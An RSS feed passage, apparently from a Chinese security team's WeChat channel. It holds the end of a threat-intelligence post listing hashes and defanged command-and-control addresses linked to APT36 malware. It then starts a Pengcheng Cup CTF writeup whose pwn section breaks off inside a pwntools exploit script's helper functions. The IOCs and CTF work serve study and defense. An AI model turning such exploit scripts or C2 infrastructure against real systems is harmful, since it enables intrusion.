rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">de035f212161f33accc610793fdcaa67</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">40ef50cc91a890ecb7726a72fe130424</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">164.215.103[.]230:20145</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">90796ed66e7f5f36b6317e6bdf9718ce</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">a53b1134f5bad31b407f5f597fd1cfa3</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">a4f1cc3537eb8dd669c3cc16cdf7b798</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">30fda797535a0f367ea2809426760020</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ceb715db684199958aa5e6c05dc5c7f0</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">57ba3d1bfc8724668c52b98908bf159a</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">689af44a940f293ea659603aee2323b3</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2.56.10[.]86:8621</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">参考</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1.<a href="https://www.cyfirma.com/research/apt36-python-based-elf-malware-targeting-indian-government-entities/" target="_blank">https://www.cyfirma.com/research/apt36-python-based-elf-malware-targeting-indian-government-entities/</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2.<a href="https://www.anquanke.com/post/id/269526" target="_blank">https://www.anquanke.com/post/id/269526</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3.<a href="https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/" target="_blank">https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/</a></span></p></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="2247513968">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=75f69a4b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247513968%26idx%3D1%26sn%3Da6800f178c681fb1f604dbbfa52f9133">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Dec 2025 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>2025鹏城杯 Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513872&amp;idx=1&amp;sn=6d42a738c069be409434e15bd56a019f</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2025-12-15 08:01</span> <span style="display: inline-block;">辽宁</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=43800143&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFmaRUzqynNghcBUgJic4ZQprSbxtZTZ36HUBDOj5wN1qsTJiaoB7hJwIg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Pwn:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-myZoo</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf="">*</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> struct </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> pack</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ctypes</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfx-1mm0bp" style="color: #576B95 !important;" data-topic="1">#from</a> LibcSearcher import *</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> ae64 </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> AE64</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">bug</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    gdb.attach(p)</span><span leaf=""><br/></span><span leaf="">    pause()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">s</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    p.send(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sa</span></span><span style="line-height: 26px;"><span leaf="">(a,b)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    p.sendafter(a,b)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sl</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    p.sendline(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sla</span></span><span style="line-height: 26px;"><span leaf="">(a,b)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    p.sendlineafter(a,b)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">r</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    